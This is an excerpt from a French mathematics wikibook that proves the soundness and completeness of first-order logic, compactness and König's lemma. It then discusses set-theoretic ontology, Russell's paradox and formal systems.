d'applications des quinze règles, à partir d'aucune hypothèse. Dans ce cas particulier, on peut alors donner au théorème de complétude la forme suivante. '''Pour toute formule p, si p est absolument vraie alors p est une vérité anhypothétique.''' Ou encore. '''Pour toute formule p, si p est absolument fausse alors (non p) est une vérité anhypothétique.''' Il faudra prouver au préalable que la déduction naturelle est un système logique valide, ce qui reviendra à prouver que si p est une vérité anhypothétique alors p est absolument vraie, pour toute formule p (du calcul des prédicats du premier ordre). On peut enfin remarquer qu'un ensemble défini par induction avec un nombre fini de principes (axiomes, schémas d'axiomes et règles de déduction) est énumérable. Autrement dit, toutes les théories axiomatiques sont des ensembles énumérables. Le théorème de complétude dit qu'il existe des théories axiomatiques complètes de la logique du premier ordre, ou plus précisément. '''L'ensemble des lois logiques est énumérable.''' Nous verrons plus loin qu’on peut relier ce théorème de complétude à la théorie de l'indécidabilité, parce qu'on peut prouver que l'ensemble des lois logiques est indécidable. Autrement dit, l'ensemble des formules possiblement fausses n'est pas énumérable, ou, de façon équivalente, l'ensemble des formules possiblement vraies n'est pas énumérable. Cela revient à dire que l'imagination déborde tous les cadres. Les sections suivantes, jusqu’à la fin du chapitre sur la logique, sont d’un niveau un peu plus élevé que ce qui précède. Elles peuvent être omises sans que cela nuise trop à la compréhension des chapitres suivants. ===La validité du calcul des prédicats du premier ordre=== Le calcul des prédicats est valide au sens où si une formule c est déductible avec les règles de la déduction naturelle à partir d'une formule h alors c est une conséquence logique de h, au sens de la théorie des modèles, rappelé ci-dessus. Pour le prouver, il est plus commode de raisonner sur un calcul de séquences, inventé par Gerhard Gentzen, et dont une formalisation a été exposée ci-dessus (Autres formulations des principes de la logique du premier ordre). Une séquence est valide lorsque tout modèle de ses prémisses est aussi un modèle de sa conclusion. Montrons que toutes les séquences prouvables sont valides. Une séquence est prouvable si elle est ou bien un axiome, ou bien déduite des axiomes par un nombre fini d'applications des règles de la déduction naturelle des séquences. Les axiomes sont ici toutes les séquences de la forme (p implique p) où p est une formule du calcul des prédicats. Ils sont évidemment valides. On peut alors montrer, à partir de la définition de la vérité des formules complexes (voir théorie des modèles), qu'en partant de séquences valides, on ne peut déduire que des séquences valides si on applique une des règles de la déduction naturelle des séquences. Le principe d'induction complète suffit alors pour conclure que toutes les séquences prouvables sont valides. La façon dont les règles de calcul ont été formulées montre que si la formule c est déductible à partir de h avec les règles de la déduction naturelle alors (h implique c) est une séquence prouvable, donc valide. Cela termine cette preuve de la validité des règles de la déduction naturelle. On peut aussi en déduire que les vérités anhypothétiques sont absolument vraies. Si p est une vérité anhypothétique alors (silence implique p) est une séquence prouvable, donc valide. Comme silence est vrai dans tous les modèles, p est absolument vraie. ===L'existence d'un modèle sous l'hypothèse de cohérence=== Nous allons prouver le théorème de complétude sous la forme suivante. Si une formule est cohérente alors elle est possiblement vraie. Cohérente veut dire qu'aucune contradiction n'est prouvable si on prend cette formule comme hypothèse. En fait nous prouverons une version renforcée de ce théorème. Si un ensemble d'axiomes est cohérent alors il est possiblement vrai. Un ensemble d'axiomes est cohérent lorsqu'aucune contradiction n'est prouvable à partir d'un nombre quelconque, fini, de ces axiomes. Il est possiblement vrai lorsqu'il y a un modèle dans lequel les axiomes sont tous vrais. Cette version renforcée du théorème est utile en particulier pour énoncer le paradoxe de Skolem, parce qu’elle permet d’appliquer le théorème de complétude à des systèmes infinis d’axiomes. Commençons par montrer comment remplacer un système d’axiomes du calcul des prédicats par un système équivalent d’axiomes du calcul des propositions. Pour cela, on commence par mettre chaque axiome sous une forme prénexe. Une formule du calcul des prédicats est toujours équivalente à une formule mise sous forme prénexe, c'est à dire une formule dans laquelle tous les quantificateurs universels et existentiels sont placés au début et non à l'intérieur des sous-formules. On peut toujours prouver qu'une formule est équivalente à une formule prénexe avec les règles de déduction suivante : - de ((il existe x tel que p) et q) déduire (il existe x tel que (p et q)) , pourvu que q ne contienne pas x comme variable libre. Si elle la contient, il suffit de substituer à x dans (il existe x tel que p) une autre variable qui n'appara”t pas dans q. - de ((il existe x tel que p) ou q) déduire (il existe x tel que (p ou q)) , pourvu également que q ne contienne pas x comme variable libre. Si elle la contient, il suffit de substituer à x dans (il existe x tel que p) une autre variable qui n'appara”t pas dans q. - deux autres règles semblables pour le quantificateur universel "pour tout x". - de non(il existe x tel que p) déduire (pour tout x, non p). - de non(pour tout x, p) déduire (il existe un x tel que p). Toutes ces règles sont des règles dérivées dans le système de déduction naturelle et elles font toutes passer d'une prémisse à une conclusion équivalente. Par itération elles fournissent une formule prénexe équivalente à la formule initiale. De la forme prénexe d'un axiome, on passe à sa forme de Skolem en introduisant de nouveaux opérateurs fondamentaux, autant qu’il en faut pour faire disparaître tous les quantificateurs existentiels dans les axiomes. Par exemple, l’axiome prénexe (pour tout x)(il existe un y tel que x+y = 0) est remplacé par (pour tout x) (x+(-x) = 0) où - est un nouvel opérateur unaire. Pour un axiome de la forme (pour tout x)(pour tout y)(il existe un z tel que Pxyz), on introduit un opérateur binaire, * par exemple, et on prend pour axiome (pour tout x)(pour tout y)( Pxy(x*y). On construit alors un univers, un domaine des êtres nommés. Les noms des objets de base sont ceux qui sont mentionnés dans les axiomes. S’il n’y en a pas, on en introduit un, qu’on peut appeler comme on veut, 0 par exemple. L’ensemble des noms d’objet est celui obtenu par induction à partir des noms des objets de base et des noms de tous les opérateurs mentionnés dans les axiomes d’origine ou introduits par la méthode ci-dessus exposée. L’univers U est l’ensemble de tous les êtres ainsi nommés. Chaque forme de Skolem d'un axiome peut être conçue comme un schéma d’axiomes à l'intérieur du calcul des propositions. On supprime tous les quantificateurs universels et on remplace toutes les variables alors libres par des noms d’objet. A chaque axiome de départ on associe ainsi un ensemble infini de formules du calcul des propositions. La réunion de toutes ces formules associées à tous les axiomes de départ, est le nouveau système d’axiomes, non quantifiés, équivalent au système d’origine. Montrons maintenant que si un sous-ensemble fini du système d'axiomes non-quantifiés est incohérent alors le système d'axiomes d'origine est lui aussi incohérent. Soit C une conjonction incohérente d'axiomes non-quantifiés. Soit C' la formule obtenue à partir de C en remplaçant tous ses constantes par des variables distinctes, de telle façon que C ne contienne plus d'opérateurs d'objet, et en quantifiant existentiellement sur toutes ces variables. Comme C est incohérente, C' l'est aussi. Mais C' peut être prouvée à partir d'un nombre fini des axiomes d'origine, qui sont donc eux aussi incohérents. Si un système d'axiomes est cohérent tous les sous-ensembles finis du système d'axiomes non quantifiés sont également cohérents. D'après le théorème de complétude du calcul des propositions - démontré en annexe - ils sont donc tous possiblement vrais. D'après le théorème de compacité - également démontré en annexe - le système - infini - d'axiomes non quantifiés est lui aussi possiblement vrai. Comme un modèle du système d'axiomes non-quantifiés est également un modèle du système d'origine, on a prouvé l'existence d'un modèle pour tout système cohérent d'axiomes. ===Le théorème de complétude du calcul des propositions=== Le calcul des propositions est un calcul restreint aux formules logiques non quantifiées. Le théorème de complétude du calcul des propositions peut être énoncé de la façon suivante. Les règles de la déduction naturelle suffisent pour prouver toutes les lois logiques propositionnelles, c’est à dire les lois logiques non-quantifiées, ou propositions vraies dans tous les modèles. Ce théorème a été prouvé par Paul Bernays en 1926. ====Vérité et fausseté d'une proposition dans un modèle==== Pour le calcul des propositions, il n’est pas nécessaire d’analyser la structure des formules atomiques en prédicat et objet(s). La seule propriété des propositions atomiques qui compte dans les calculs de la logique classique est leur vérité ou leur fausseté. On peut représenter les propositions par des lettres, p, q, r, ... et les concevoir comme des variables qui peuvent recevoir deux valeurs, V pour vrai, et F pour faux. Un modèle est défini par l’attribution de valeurs de vérité, V ou F, aux propositions atomiques. Par exemple (Vp, Fq, Vr) nomme le modèle dans lequel il y a trois propositions atomiques p, q, et r, la seconde étant fausse et les deux autres vraies. On peut définir un calcul des vérités semblable au calcul des nombres. Ses axiomes sont les suivants. (non V) = F , (non F) = V , (V et V) = V , (V et F) = (F et V) = (F et F) = F On peut alors calculer, par exemple, que dans le modèle (Fp), non(p et non p) = non(F et non F) = non(F et V) = (non F) = V On en conclut que non(p et non p) est vraie dans le modèle (Fp). Comme elle est aussi vraie dans le modèle (Vp) et qu’elle ne contient que p comme proposition atomique, elle est vraie dans tous les modèles et est donc une loi logique. Les opérateurs logiques “ou” et “si...alors” peuvent être définis à partir de “non” et “et”. (p ou q) =def non( (non p) et non q ) (si p alors q) =def non(p et non q) Avec ces définitions, les règles de déduction pour la disjonction et l’implication peuvent être dérivées à partir de celles pour la conjonction et la négation (règles d’analyse, de synthèse, de suppression de la double-négation et du raisonnement par l’absurde). Montrons le sur l’exemple de la règle de détachement. 1 si p alors q (hyp) 2 p (hyp) 3 non(p et non q) 4 °°°°° non q (hyp) 5 °°°°° p et non q 6 °°°°° non(p et non q) 7 non non q 8 q 1 et 2 sont les hypothèses principales. 3 est obtenu de 1 par définition. 4 est une hypothèse provisoire. 5 est obtenu par synthèse de 2 et 4 . 6 répète 3. 7 est obtenu de 4, 5 et 6 par le principe du raisonnement par l’absurde. 8 est obtenu de 7 par suppression de la double négation. ====Preuve du théorème==== Le théorème de complétude va être prouvé sous la forme suivante. (i) Si une proposition est absolument vraie alors elle est une vérité anhypothétique. Absolument vraie veut dire ici que la proposition est vraie dans tous les modèles. (i) est obtenu à partir de la formulation initiale du théorème par contraposition. On se donne un ensemble infini dénombrable, ordonné par les entiers positifs, de propositions atomiques, toutes distinctes, p(1), p(2), p(3), ... Un modèle initial de longueur n contient ou bien Vp(i) ou bien Fp(i), mais pas les deux, pour tout i de 1 à n. Comme une proposition q ne contient qu’un nombre fini de propositions atomiques, il y a toujours un nombre max(q) tel que p(max(q)) a au moins une occurence dans q mais p(n) n’a pas d’occurences dans q pour n>max(q). Si une proposition q est vraie dans tous les modèles (initiaux) de longueur égale à max(q) alors elle est vraie dans tous les modèles où sa vérité est définie, parce que les propositions p(n) pour n>max(q) n’ont pas d’influence sur elle. Pour prouver (i), on va d’abord prouver (ii) et (iii) (ii) Si p est vraie dans le modèle m alors (si h(m) alors p) est une vérité anhypothétique (iii) Si p est fausse dans le modèle m alors (si h(m) alors non p) est une vérité anhypothétique h(m) est la conjonction de toutes les formules atomiques p(n) telle que Vp(n) est dans m et de toutes les négations des formules atomiques p(n) telles que Fp(n) est dans m. On va prouver (ii) par induction sur la complexité des formules. Celle-ci est mesurée par le nombre maximal d’opérateurs emboités. Par exemple dans ((non p) ou (q et r)) , le “ou” et le “non” sont emboités l’un dans l’autre. Mais le “non” et le “et” ne le sont pas. Cette proposition est de complexité 2 parce qu’elle au maximum deux opérateurs emboités. Soit p(i) une proposition de complexité 0, c’est à dire une proposition atomique. ( Si p(i) alors p(i) ) est une vérité anhypothétique, par les règles de répétition et d’abandon d’une hypothèse provisoire. Il en va de même pour (si h alors p(i) ) où h est n’importe quelle conjonction de propositions atomiques ou de leurs négations qui contient p(i) parmi elles. Si p(i) est vraie dans le modèle m, h(m) contient p(i). (ii) est donc prouvée pour les propositions de complexité 0. La preuve de (iii) est identique. Supposons que (ii) et (iii) soient vraies pour toutes les propositions de complexité au plus égale à n. Soit p une proposition de complexité n+1. Deux cas sont possibles. a) il y a un q tel que p = non q b) il y a r et s tels que p = (r et s) a) * Si p est vraie dans le modèle m alors q est fausse dans m. Comme q est de complexité n, l’hypothèse d’induction donne, (si h(m) alors non q) est une vérité anhypothétique. (ii) est donc prouvée dans ce cas. * Si p est fausse dans le modèle m alors q est vraie dans m. (Si h(m) alors q) est donc une vérité anhypothétique. Le principe du raisonnement par l’absurde permet de prouver que (si q alors non non q) est une vérité anhypothétique. (Si h(m) alors non non q) est donc aussi une vérité anhypothétique. (iii) est donc prouvée dans ce cas. b) * Si p est vraie dans le modèle m alors r et s sont toutes les deux vraies dans m. (si h(m) alors r) , et, (si h(m) alors s)) sont donc deux vérités anhypothétiques. Les règles de la déduction naturelle permetent de conclure que (si h(m) alors (r et s)) aussi. (ii) est donc prouvée dans ce cas. * Si p est fausse dans le modèle m alors l’une au moins de r ou de s est fausse dans m. Supposons que ce soit r. (si h(m) alors non r) est une vérité anhypothétique. De (non r) on peut déduire non(r et s). (iii) est donc prouvée dans ce cas. Cela termine cette preuve de (ii) et (iii). Prouvons maintenant (i), le théorème de complétude, par induction sur la longueur des modèles. Soit (i)(n) l’énoncé. Si p est vraie dans tous les modèles de longueur n alors p est une vérité anhypothétique. Prouvons d’abord (i)(1). Supposons que p est vraie dans tous les modèles de longueur 1, c’est à dire les deux modèles (Vp(1)) et (Fp(1)), (si p(1) alors p) , et, (si (non p(1)) alors p) sont deux vérités anhypothétiques. Par la règle de disjonction des hypothèses (si (p(1) ou non p(1)) alors p) est aussi une vérité anhypothétique mais (p(1) ou non p(1)) est une vérité anhypothétique, c’est le principe du tiers-exclu. La règle de détachement suffit alors pour prouver que p est une vérité anhypothétique. Supposons que (i)(n) soit vrai. Soit p une proposition vraie dans tous les modèles de longueur n+1. Soit m un modèle de longueur n. p est vraie dans (m, Vp(n+1)) et dans (m, Fp(n+1)). (si (h(m) et p(n+1)) alors p) , et, (si (h(m) et non p(n+1)) alors p) sont donc des vérités anhypothétiques, d’après (ii). On en conclut que (si h(m) alors p) est une vérité anhypothétique. Comme m un modèle quelconque de longueur n, (i)(n) permet de conclure que p est une vérité anhypothétique. (i)(n+1) est donc vrai. Cela termine cette preuve du théorème de complétude du calcul des propositions. ===Le théorème de compacité=== Il s'agit d'énoncer et de prouver le théorème de compacité du calcul des propositions. Ce théorème a un rôle très important pour la logique du premier ordre, notamment pour la preuve du théorème de complétude de Gödel. Sa preuve est basée sur le lemme de König, tout arbre infini à branchement fini a une branche infinie. Soit A un ensemble infini dénombrable de propositions, c’est à dire de formules sans quantificateurs. On suppose que pour chaque sous-ensemble fini de A, il existe un modèle dans lequel toutes ses propositions sont vraies. S’ensuit-il qu’il existe un modèle dans lequel toutes les propositions de A soient vraies ? Le théorème de compacité répond par l’affirmative. Si tout sous-ensemble fini d’un ensemble infini dénombrable de propositions est possiblement vrai alors l’ensemble complet est aussi possiblement vrai. Soit P(n) une suite infinie dénombrable des propositions de A. Soit p(n) une suite infinie dénombrable des propositions atomiques avec lesquelles les propositions de A sont construites. Considérons l’arbre construit de la façon suivante. Il y a un seul noeud initial, vide, de niveau 0. S’il y a modèle dans lequel p(1) et P(1) sont tous les deux vrais alors p(1) est un noeud de niveau 1 rattaché à l’unique noeud de niveau 0. S’il y a un modèle dans lequel (non p(1)) et P(1) sont tous deux vrais alors (non p(1)) est aussi un noeud de niveau 1 rattaché à l’unique noeud de niveau 0. Quand un noeud y est rattaché à un autre x alors x précède y. Cette relation est transitive. Si un noeud x précède y et que y précède z alors x précède z. A un noeud de niveau n, on rattache p(n+1) au niveau n+1 s’il y a un modèle dans lequel p(n+1) , tous ses prédecesseurs, et tous les P(i) pour i de 1 à n+1 sont vrais. A un noeud de niveau n, on rattache (non p(n+1)) au niveau n+1 s’il y a un modèle dans lequel (non p(n+1)) , tous ses prédecesseurs, et tous les P(i) pour i de 1 à n+1 sont vrais. On engendre de cette façon un arbre. Comme tout sous-ensemble fini de propositions de A est possiblement vrai, cet arbre peut être indéfiniment poursuivi, il est donc infini, il a un nombre infini de noeuds. Comme chaque noeud ne peut avoir que deux successeurs au plus, il est à branchement fini. D’après le lemme de König il a donc une branche infinie. Cette branche définit un modèle dans lequel tous les P(i) sont vrais. Cela termine cette preuve du théorème de compacité. ===Le lemme de König=== Tout arbre infini à branchement fini a une branche infinie Un arbre est un ensemble d'objets, appelés noeuds, tels qu'il y ait une relation binaire de succession immédiate et un noeud d'origine O qui satisfont aux conditions suivantes. * O n'est le successeur immédiat d'aucun noeud. * Tout noeud sauf O est le successeur immédiat d'un unique noeud. * Tous les noeuds sont des successeurs de O. Un noeud A est un successeur d'un autre D s'il existe une suite finie de noeuds qui commence par D, qui finit par A, et qui est telle que tout noeud est un successeur immédiat (au sens de la structure de l'arbre) de celui qui le précède dans la suite. Un arbre est à branchement fini lorsque tous les noeuds n'ont qu'un nombre fini de successeurs immédiats. Un arbre est infini lorsqu'il a un nombre infini de noeuds. Une branche d'un arbre est une suite finie ou infinie de noeuds N(i), qui commence par O, et qui est telle que pour tout i, N(i+1) est un successeur immédiat de N(i). Donnons maintenant la preuve telle qu'elle a été proposée par König. Un noeud est dit infini s'il a un nombre infini de successeurs. Supposons qu'on ait un arbre infini d'origine O à branchement fini. O est infini. Comme O n'a qu'un nombre fini de successeurs immédiats, l'un d'entre eux au moins N(1) est infini, sinon O ne serait pas infini. De même l'un au moins N(2) des successeurs immédiats de N(1) est infini. On définit ainsi un nombre infini de noeuds N(i), pour tout entier positif i, qui ensemble forment une branche infinie. Fondements des mathématiques:Chapitre 3 2661 25046 2005-11-06T11:54:40Z 172.211.246.15 /* L’ontologie mathématique */ {{Fondements des mathématiques}} <center> <font size = "+2"> Les expressions formelles, les ensembles et les fonctions </font> </center> ---- Ce chapitre expose les problèmes de l’existence des êtres mathématiques. Qu’est-ce qui existe au sens mathématique ? ==L’ontologie mathématique== La question de l’existence est aussi nommée la question ontologique. L’ontologie d’une théorie, c’est l’ensemble de tous les énoncés d’existence des objets qu’elle étudie. L’ontologie des mathématiques a été très controversée. Les nouveaux êtres mathématiques, les nombres négatifs, complexes, infinis, les lignes continues non-différentiables, les espaces abstraits et beaucoup d’autres ont tous rencontré des résistances avant d’être assez généralement acceptés. On dispose aujourd’hui de méthodes ontologiques très tolérantes, les théories des ensembles, qui sont suffisantes pour la grande majorité des besoins des mathématiciens. Elles permettent d’attribuer l’existence à presque tous les êtres abstraits concevables. Mais cette section et les suivantes montreront qu’on ne peut pas supprimer le “presque” dans la phrase précédente, que l’incomplétude ontologique est fondamentale. Si on définit les mathématiques comme la science des formes de déduction, la question ontologique ne se pose pas. On suppose que les prémisses sont vraies. Tous les énoncés d’existence qu’elles contiennent sont des hypothèses dont la vérité dépend des objets (non-mathématiques) auxquels elles sont appliquées. Autrement dit tous les énoncés d’existence mathématique auraient un caractère hypothétique. Mais cette approche ne rend pas complètement compte des questions qui se posent aux mathématiciens. Quand on a prouvé par exemple qu’il existe un corps ordonné, archimédien et complet, à savoir l’ensemble des nombres réels, on interprète en général ce théorème comme une vérité absolue, qui ne dépend pas d’hypothèses sur l’existence des êtres non-mathématiques. Cela revient à croire d’une certaine façon en l’existence d’un monde idéal, platonicien, où les êtres mathématiques existent vraiment et où ils sont comme nous disons qu’ils sont. Mais comment savoir que ce monde idéal existe vraiment ? La théorie des modèles apporte une réponse plus prudente. Elle ne dit pas qu’il existe un monde idéal mais seulement qu’on peut l’imaginer. On interprète alors le théorème d’existence de l’ensemble des nombres réels, non comme une affirmation sur un mystérieux au-delà, mais seulement comme l’affirmation qu’il est possible de développer une théorie cohérente à propos d’un corps (au sens de l’algèbre), ordonné, archimédien et complet. De ce point de vue, la théorie des ensembles est interprétée non en référence à l’au-delà mais seulement à l’ici-bas, parce qu’ici nous sommes bien sûrs qu’il y a des êtres humains qui font des théories. On peut alors voir les théories des ensembles comme des théories de toutes les théories, ou de tous les mondes possibles, ceux-ci étant déterminés par celles-la. Les théories des ensembles apportent donc un point de vue très général. En fait, tous les théorèmes mathématiques peuvent être démontrés à l’intérieur d’une théorie des ensembles. Mais la puissance de ces théories posent des difficultés. Nous allons voir qu’il n’est pas facile de les formuler d’une façon cohérente. ==L’existence des extensions conceptuelles, Frege et le paradoxe de Russell== Frege est l’un des premiers à avoir proposé une liste explicite des principes d’existence des ensembles. Il l’avait incorporée à une oeuvre destinée à fonder l’ensemble des mathématiques sur des méthodes complètement formalisées. Son principal axiome dit que pour tout concept C il existe un ensemble, l’ensemble E des êtres pour lesquels ce concept est vrai. E est l’extension conceptuelle de C. L’axiome de Frege semble assez naturel, et il est adopté sous une forme restreinte dans toutes les théories modernes des ensembles. Mais Bertrand Russell a montré que sous la forme originale proposée par Frege, l’axiome conduit à une contradiction. Quand Frege a reçu la lettre de Russell, il eut le sentiment injustifié que toute son oeuvre s’était effondrée d’un seul coup. En vérité Frege a été et demeure l’un des plus grands logiciens de tous les temps. On lui doit l’une des premières formulations complètes du calcul des prédicats et de son application aux fondements des mathématiques. Son erreur était assez naturelle, elle a révélé des aspects jusque là inconnus de la raison, et elle peut être corrigée tout en conservant l’essentiel du système. Le concept, ou prédicat, qui a posé problème pour l’axiome de Frege est celui des ensembles qui n’appartiennent pas à eux-mêmes, (x est un ensemble et x n’est pas dans x). En général les ensembles n’appartiennent pas à eux-mêmes. Un ensemble de nombres n’est pas lui-même un nombre, un ensemble de personnes n’est pas une personne, ... Les éléments existent en un sens avant l’ensemble. L’ensemble ne fait que réunir des éléments préexistants. Mais on peut trouver des exceptions, l’ensemble de tous les ensembles, par exemple, peut être considéré comme un ensemble, il est donc élément de lui-même. D’après l’axiome de Frege, il devrait exister un ensemble de tous les ensembles qui ne sont pas éléments d’eux-mêmes. Cet ensemble contiendrait la plupart des ensembles usuels mais il ne contiendrait pas l’ensemble de tous les ensembles ni quelques autres un peu bizarres. Cet ensemble, appelons le BR, est il élément de lui-même ? Si BR est élément de BR alors il n’est pas élément de lui-même par définition de BR, puisque BR contient tous les ensembles qui ne sont pas éléments d’eux-mêmes. On a donc dans ce cas une contradiction. BR appartient à BR et BR n’appartient pas à BR. Si BR n’est pas élément de BR alors il est élément de lui-même, toujours par définition de BR. On a donc également une contradiction. Le principe du tiers exclu, la règle de disjonction des hypothèses et la règle du détachement permettent alors de conclure à (BR appartient à BR et BR n’appartient pas à BR). Comme tous ces principes étaient acceptés par Frege, son système contenait une contradiction. Pour un logicien, c’est une catastrophe, parce qu’un système contradictoire permet de démontrer n’importe quoi, qu’il soit vrai ou faux, à l’aide du principe du raisonnement par l’absurde. Un système qui permet de démontrer des faussetés ne démontre rien du tout. On peut donner au paradoxe de Russell la forme plus intuitive suivante : un barbier rase tous les hommes de son village qui ne se rasent pas eux-mêmes. Ce barbier se rase-t-il ? De l’examen des réponses il faut conclure qu’un tel barbier ne peut pas exister. De la même façon un ensemble qui contiendrait tous les ensembles qui ne sont pas dans eux-mêmes ne peut pas exister. Autrement dit, toute ontologie des extensions conceptuelles ne peut pas donner l’existence à l’extension du concept de ne pas être élément de soi-même sous peine d’être contradictoire. On peut noter ici une différence entre l’exemple du barbier et BR. Le concept d’un tel barbier dans un tel village existe, mais c’est un concept vide. De même, le concept d’un univers d’ensembles et d’un ensemble qui contiendrait tous les ensembles qui ne sont pas dans eux-mêmes existe. Russell a prouvé que c’est un concept vide. Mais que faut-il dire du concept “ne pas être élément de soi-même” ? Est-ce qu’il existe ? Un concept existe dès qu’il fait partie d’une théorie sensée. L’ensemble des nombres entiers n’est pas un nombre entier et n’est donc pas élément de lui-même. C’est sensé. Le concept de ne pas être élément de soi-même existe donc. Seule son extension conceptuelle ne peut pas exister. Le concept du barbier ci-dessus existe et a une extension conceptuelle. Elle est tout simplement vide. Le concept de ne pas être élément de soi-même existe mais n’a pas d’extension conceptuelle. S’il en avait une, elle ne pourrait pas être vide, puisqu’il y a des ensembles qui ne sont pas éléments d’eux-mêmes. Appelons concepts extensionnels les concepts qui ont une extension. Russell a prouvé qu’une théorie générale des concepts ne peut pas se limiter aux concepts extensionnels. ==Qu’est-ce qu’un ensemble ?== Pour faire un ensemble il suffit d’avoir des objets et de donner un critère d’appartenance à l’ensemble que l’on définit. Le critère d’appartenance est en général un prédicat unaire, c’est à dire une formule qui contient une seule variable libre. Un prédicat unaire est un concept qualitatif. C’est pourquoi toute ontologie des ensembles incorpore sous une forme plus ou moins restreinte l’axiome de Frege. Il y a des concepts qui ont une extension. Plus il y en a, plus l’ontologie est tolérante. Mais si elle est trop tolérante, elle tombe dans l’absurdité. Un même ensemble peut être défini et nommé de plusieurs façons. Comment sait-on qu’il s’agit toujours du même ensemble ? Il suffit de montrer qu’il y a toujours les mêmes éléments. Plus précisément, deux ensembles E et F sont égaux lorsque tout élément de E est élément de F et réciproquement. C’est l’axiome d’extensionalité. Ce nom vient de la distinction entre la signification et l’extension d’un concept, ou prédicat. Par exemple “être humain” et “être humain avec ADN” sont deux prédicats qui ont la même extension, parce que tous les êtres humains ont de l’ADN, mais ils n’ont pas la même signification, parce que quelqu’un qui ne connait pas la biologie moléculaire ne sait pas qu’un être humain est toujours un être humain avec ADN. L’extension d’un prédicat, c’est l’ensemble de tous les êtres pour lesquels ce prédicat est vrai. L’axiome d’extensionnalité ne fait qu’énoncer la propriété essentielle des extensions, c’est à dire des ensembles. ==Les ensembles indicibles== La fin de cette section prouvera qu’une théorie ne peut pas donner l’existence à tous les ensembles. Elle ne contient pas assez de noms. Quel que soit l’ensemble infini des ensembles nommés dans une théorie, il est toujours incomplet. Qu’on puisse prouver que l’incomplétude ontologique est une propriété nécessaire de toutes les théories montre que la raison est capable de connaître ses propres limites. Il n’y a pas de théorie qui contienne assez de noms pour tous les ensembles. Cela ne veut pas dire forcément que le concept d’ensemble n’a pas d’extension, parce qu’on peut parler de l’ensemble de tous les ensembles . Mais cela veut quand même dire que cette extension ne peut jamais être bien définie, qu’on ne peut jamais donner un nom à tous ses éléments. Tant qu’on peut donner un nom à tous ses éléments, l’ensemble est dicible, sinon il est indicible. Le paradoxe de Russell oblige à renoncer à l’axiome de Frege sous sa forme trop générale. Mais on n’a pas besoin de l’ensemble BR. L’ensemble de tous les ensembles n’est pas non plus nécessaire, au moins dans les mathématiques élémentaires. Quand on développe une théorie, on se contente en général d’ensembles relativement petits, comme l’ensemble des nombres entiers, et de principes d’existence qui permettent de définir de nouveaux ensembles à partir de ceux qui sont déjà définis. Il en va de même que pour les nombres entiers eux-mêmes. Il suffit de partir de 0 et on peut définir tous les autres nombres entiers positifs simplement en ajoutant 1 à ceux qui ont déjà été définis. En général, on n’a pas besoin d’ensembles aussi grands que l’ensemble de tous les ensembles, parce qu’on se contente des ensembles de nombres et de ceux que l’on peut définir à partir d’eux. On pourrait donc songer à limiter les mathématiques à des ensembles dicibles tels que celui des entiers. On pourrait vouloir exclure de notre ontologie tous les ensembles indicibles, sous prétexte qu’ils sont problématiques. Mais ce serait une erreur aussi grave que de vouloir arranger nos vies pour ne plus jamais avoir de problèmes. Les êtres rationnels sont assez forts pour résoudre des problèmes. Il ne faut pas nous prendre pour des incapables. La théorie cantorienne des nombres infinis montre que même des ensembles beaucoup plus petits que l’ensemble de tous les ensembles sont également indicibles. Deux des plus petits sont l’ensemble des nombres réels et l’ensemble P(N) de tous les ensembles de nombres entiers positifs, ou ensemble des parties de N. Les parties sont ici les sous-ensembles. N est l’ensemble des entiers naturels, ou positifs. L’ensemble P(N) est très important. Il est fondamental pour définir l’ensemble des nombres réels. A priori l’existence de l’ensemble de tous les ensembles n’est pas interdite. On peut accepter n’importe quelle théorie des ensembles pourvu qu’elle n’ait pas de conséquences contradictoires et qu’elle respecte les significations usuelles que l’on attribue à la notion d’ensemble. La théorie du zig-zag interdit de Quine donne l’existence à l’ensemble de tous les ensembles et elle respecte les significations usuelles de la notion d’ensemble. La stratégie ontologique de cette encyclopédie est progressive. On commencera par les ensembles dicibles. Les ensembles dicibles fondamentaux sont les systèmes formels, ou ensembles d’expressions formelles. Les autres ensembles sont définis à partir des systèmes formels avec des règles de construction. ==Les systèmes formels== Un système formel est un ensemble de formules, ou expressions formelles, que l’on peut interpréter comme des noms, des phrases, ou de toute autre façon. *Les ensembles de nombres, entiers, rationnels, algébriques, peuvent être définis comme des systèmes formels, mais pas les ensembles qui contiennent tous les nombres transcendants, réels ou complexes. *La nomenclature de la chime organique est un système formel. *Une théorie est un ensemble de phrases et est donc un système formel. Les théories générales des systèmes formels ont été conçues par des logiciens surtout pour étudier les théories. De ce point de vue on peut les considérer comme des métathéories générales, des théories de toutes les théories. Comme une formule peut toujours être nommée, les systèmes formels sont toujours dicibles. Il y a de nombreuses façons de nommer les formules. La plus économique consiste à considérer qu’une formule est un nom pour elle-même. L’ensemble des noms des éléments d’un ensemble E relativement à une théorie est un système formel. Mais même s’il est dicible, E lui-même n’est pas forcément un système formel, si ses éléments sont interprétés non comme des expressions formelles mais comme des ensembles ou d’autres objets. Le point de vue formel introduit une limitation. On se soucie peu de la signification des mots ou des symboles. Les théories n’y sont pas considérées comme des fenêtres sur le monde réel. Elles sont opaques. Elles ne contiennent que des assemblages de mots et on se soucie d’abord de leurs formes, pas de leurs significations. D’où le nom de point de vue formaliste. Les systèmes formels de base sont des ensembles énumérables. Intuitivement, ce sont tous les ensembles pour lesquels on peut donner un procédé mécanique d’énumération de tous leurs éléments. Le chapitre suivant (l’incomplétude) donnera deux définitions équivalentes de cette notion fondamentale d’énumérabilité. ==L’existence des non-ensembles== Une méthode couramment acceptée en mathématiques fondamentales consiste à limiter l’ontologie aux ensembles. Les seuls êtres méthématiques sont des ensembles. La raison de cette méthode, c’est qu’il semble qu’on ne gagne rien à accueillir les non-ensembles. Tous les non- ensembles peuvent être représentés fidèlement dans une théorie des ensembles. Cela peut surprendre le débutant, parce que les non-ensembles, les nombres et la plupart des objets sont premiers par rapport aux ensembles. Les ensembles ne font que réunir des êtres qui existent dèjà. Cependant, si l’on part de l’ensemble vide, et que l’on forme d’autres ensembles, tels que l’ensemble qui contient l’ensemble vide comme unique élément, l’ensemble qui contient les deux précédents, l’ensemble qui contient les trois précédents et ainsi de suite, on obtient une ontologie réduite aux ensembles et cependant assez riche pour définir des représentations de tous les êtres mathématiques. L’économie des moyens justifie donc cette réduction ontologique. Mais cette méthode de réduction ne sera pas suivie dans les pages qui suivent pour plusieurs raisons. Avant l’existence des ensembles on accepte celle des expressions formelles. Celles-ci pourraient être représentées par des ensembles, mais cette représentation fait perdre à la théorie son caractère naturel. L’évidence des principes de la théorie des systèmes formels est un critère important pour évaluer sa fiabilité. Tant que ces principes sont évidents, nous pouvons être sûrs de la qualité des preuves autant que nous pouvons l’être de toute preuve fondée sur des principes élémentaires. Comme elle fait perdre aux principes une partie de leur évidence, la réduction ontologique 